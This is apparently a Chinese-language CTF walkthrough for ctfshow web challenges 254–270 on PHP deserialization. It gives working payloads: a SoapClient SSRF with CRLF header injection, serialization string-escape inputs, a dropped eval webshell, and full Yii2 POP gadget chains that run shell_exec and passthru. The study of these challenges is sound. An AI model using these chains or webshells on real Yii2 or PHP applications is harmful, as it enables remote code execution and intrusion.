web254
大概意思是创造了一个类,定义了一个用户名密码,创造了login函数判断如果传入的数据一样,isVIP为真,另一个函数判断isVIP为真输出flag。
判断输入的名字密码是不是xxxxxx,如果是输出flag
只要输入?username=xxxxxx&password=xxxxxx即可
web255
对比上一题主要isVip改为真没了,还加了个cookie传参user反序列化
我们想让$user为新建的类,利用cookie传参user反序列化这条,传入序列化自己定义名字相同的类,让username和password都为触发flag条件的xxxxxx,再让isVip为Ture。就满足之后的条件了。
创造序列化代码,反序列化有不可见字符最好用url编码,之后会得到一段代码
cookie输入user=那串代码,get输入username和password即可
web256
加了个判断,username不等于password才能输出flag
改的不一样即可,它只判断isVip是否为真,对于传的用户名密码是否是初始定义的无关
web257
找了半天都没见flag的字样,看到eval函数,输出code参数,通过code参数传命令让eval函数执行找找有没有flag文件,利用_construct创造一个构造函数,赋值$this->class=backDoor,这样在执行__destruct销毁函数时会执行
$this->class->getInfo,也就是backDoor->getInfo,这样就会执行eval函数了
找到flag
把system('Is') 改为system('tac flag.php') 查看文件
找到flag
web258
和上一题比加了过滤,过滤了o:数字 和 c:数字 ,数字前加个+就行,用str_replace()函数替换
web259
大概意思是将传入的用,分开,取最后一组给ip,IP的值为127.0.0.4且post传的token值为ctfshow才能输出flag
soapclient函数,当实例化一个不存在的方法时调用内置的call方法,会接收(str,arr)。可以通过_call方法发送请求
构造soap发送请求
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));//请求头,请求地址,url,user_agent包括了所有需要的参数
echo urlencode(serialize($client));//序列化后通过vip传入
输入
/flag.txt?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
web260
直接get传参?ctfshow=ctfshow_i_love_36D
web261
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略,所以不用去管__wakeup。
这里的coke==0x36d,是弱比较,36d是十六进制,转换为十进制就是877,这里code是在__unserialize函数触发的时候被username和password拼接起来的,所以只要username=877.php,password=shell就可以了
输入?vip=输出的一串字符
蚁剑连接https://65e9408d-ae12-43bb-ab2c-5b821ba8648c.challenge.ctf.show/877.php
找到flag文件
web262
存在字符串逃逸,一般有这种str_replace函数,且字符替换的个数不相等,都是字符串逃逸的应用场景
这题我们只能控制f,m,t
三个变量,但是如果按照常规只传入三个变量的值是不能控制token
的值的,所以我们就要借用其他变量来进行逃逸,从而达到修改这个变量的目的
我们需要利用to
使token
的值为admin
O:7:"message":1:{s:5:"token";s:5:"admin";}
我们需要的是{s:5:"token";s:5:"admin";}
但是需要前面闭合的{
,而且还要加";
来闭合前面的序列化字符串,所以得到字符串";s:5:"token";s:5:"admin";} 占27字符
然后按照题目的序列化,让to
等于我们得到的值然后先运行一遍看看序列化结果
这里s表示的值是28,但是遇到了一个字符“3”就闭合了,多出来的27个字符正是我们构造出来的序列化字符串";s:5:"token";s:5:"admin";}
如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这27个字符,这里就可以用到字符串逃逸,
str_replace会在序列化之后生成的字符串中fuck
替换为loveU
,每替换一个就会多出来一个字符,所以我们构造payload的时候构造27个fuck
就会在替换后多出来27个字母,因为已经序列化完了,所以s:28
并不会改变,从而实现字符串逃逸
最后输入?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php就可以了
web263
看网上说可以搜到www.zip下载源码
下载打开查看
看到ini.php中定义了一个类
存在file_put_contents() 函数可以写入东西
file_put_contents() 函数把一个字符串写入文件中
然后在index.php中看到可以通过cookie传入的limit控制session
如下构造
修改cookie,然后执行check.php让内容反序列化去调用User这个类生成文件,最后访问1.php即可
web264
和262基本一样
url输入?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
在访问message.php时cookie传入mes=任意值即可
web265
让password等于token值就行,token是MD5加密后的随机值,可以将token的地址赋值给password
get输入
web266
执行销毁函数时输出flag
php://input就是直接post提交
原理就是php收到异常字符串时会执行销毁函数
抓包输入O:7:"ctfshow":2:{ctfshow},点击forword
web267-269
先弱密码登录 用户名admin 密码 admin
查看aobut页面源码,发现view-source提示
加上view-source
?r=site%2Fabout&view-source
看到提示可以利用反序列化漏洞
看网上说直接去找公开的链子,命令执行可以用system、shell_exec、exec、passthru,这题只有passthru有回显,可以直接ls后拿flag
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec'; //php函数
$this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > shell.php"; //php函数的参数
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
url输入?r=backdoor/shell&code=那一串字符
web268-269
对链子做了过滤,267一题的还可以用
web270
换一个链子
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}